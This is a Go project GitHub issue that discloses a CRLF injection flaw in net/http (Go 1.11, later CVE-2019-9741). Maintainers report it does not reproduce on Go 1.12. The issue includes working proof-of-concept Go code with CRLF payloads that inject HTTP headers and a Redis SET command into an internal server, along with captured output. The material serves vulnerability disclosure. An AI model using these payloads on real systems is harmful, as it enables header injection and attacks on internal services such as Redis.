Skip to content

net/http: CRLF injection vulnerability #30794

Closed
@GRagdoll

Description

@GRagdoll

What version of Go are you using (go version)?

$ go version
go version go1.11.5 linux/amd64

Does this issue reproduce with the latest release?

yes

What operating system and processor architecture are you using (go env)?

go env Output
$ go env
GOARCH="amd64"
GOBIN=""
GOCACHE="/root/.cache/go-build"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOOS="linux"
GOPATH="/root/go"
GOPROXY=""
GORACE=""
GOROOT="/usr/lib/go-1.11"
GOTMPDIR=""
GOTOOLDIR="/usr/lib/go-1.11/pkg/tool/linux_amd64"
GCCGO="gccgo"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD=""
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build037594719=/tmp/go-build -gno-record-gcc-switches"

Principles

The current implementation of net.http does not encode the ‘\r\n’ sequence in the query string, which allowed the attacker to manipulate a HTTP header with the ‘\r\n’ sequence in it, so the attacker could insert arbitrary content to the new line of the HTTP header.

What did you do?

Consider the following Golong code snippet:

package main

import (
"fmt"
"net/http"
)

func main() {
client := &http.Client{}
host := "10.251.0.83:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url := "http://" + host + ":8080/test/?test=a"
request, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Printf("request error\n")
}
resp, err := client.Do(request)
if err != nil {
fmt.Printf("response error\n")
}
resp.Body.Close()
}

In this script, the host parameter usually could be controlled by user, and the content of host above is exactly the payload. We setup a server using nc to open a 7777 port and to receive and display the HTTP request data from client , then run the code above on a client to sent a HTTP request to the server.

nc -l -p 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: 10.251.0.83:7777
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip

As you can see in the picture above , the nc server displayed the HTTP request with a manipulated header content:” X-injected:header”, which means we successfully injected the HTTP header. In order to make the injected header available, we have to add an extra ‘\r\n’ after the new header, so we add another parameter to contain the original parameter data, like ‘TEST’ in above sample.

Attack Scenarios

  1. By crafting HTTP headers, it’s possible to fool some web services;
  2. It’s also possible to attack several simple services like Redis, memcached.

Let’s take Redis as a example here:
Adapt the script above to this:

package main

import (
"fmt"
"net/http"
)

func main() {
client := &http.Client{}
host := "10.251.0.83:6379?\r\nSET test success\r\n"
url := "http://" + host + ":8080/test/?test=a"
request, err := http.NewRequest("GET", url, nil)
if err != nil {
fmt.Printf("request error\n")
}
resp, err := client.Do(request)
if err != nil {
fmt.Printf("response error\n")
}
resp.Body.Close()
}

We changed the injected header to a valid redis command, after executing this, we check the redis server:

127.0.0.1:6379> GET test
"success"
127.0.0.1:6379>

We can see that a “test” key was inserted successfully.

Conclusion

The implementation of parameter handling of net.http is vulnerable, which allows attacker to manipulate the HTTP header. Attacker who has ability to take control of the requesting address parameter of this library, could exploit this vulnerability to manipulate a HTTP header and attack an internal host like a normal Webserver, Memcached, Redis and so on.

Activity

mattn

mattn commented on Mar 13, 2019

@mattn
Member

Can not reproduce on Go1.12

Ref: #22907 829c5df

agnivade

agnivade commented on Mar 13, 2019

@agnivade
Contributor

@GRagdoll - Could you try with 1.12 and see if this is still an issue ?

added
WaitingForInfoIssue is not actionable because of missing required information, which needs to be provided.
on Mar 13, 2019
GRagdoll

GRagdoll commented on Mar 13, 2019

@GRagdoll
Author

Yes. It can not reproduce on Go1.12.

changed the title [-]net/http CRLF injection vulnerability[/-] [+]net/http: CRLF injection vulnerability[/+] on Mar 13, 2019
self-assigned this
on Mar 13, 2019
removed their assignment
on Mar 28, 2019
JLLeitschuh

JLLeitschuh commented on Dec 17, 2019

@JLLeitschuh

This was assigned CVE-2019-9741

raleighlittles

raleighlittles commented on Jul 22, 2020

@raleighlittles

Any updates on this, besides the lack of reproducibility on Go v1.12?

davecheney

davecheney commented on Jul 23, 2020

@davecheney
Contributor

@raleighlittles this issue was closed over a year ago, thus is has not received any updates. I suggest you open a new issue if you can reproduce the problem using go 1.14

zkebami

zkebami commented on Dec 23, 2020

@zkebami

i cant reproduce it in Go-http-client/1.1 !

locked as resolved and limited conversation to collaborators on Dec 23, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    WaitingForInfoIssue is not actionable because of missing required information, which needs to be provided.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

      Development

      No branches or pull requests

        Participants

        @davecheney@mattn@mikioh@JLLeitschuh@agnivade

        Issue actions

          net/http: CRLF injection vulnerability · Issue #30794 · golang/go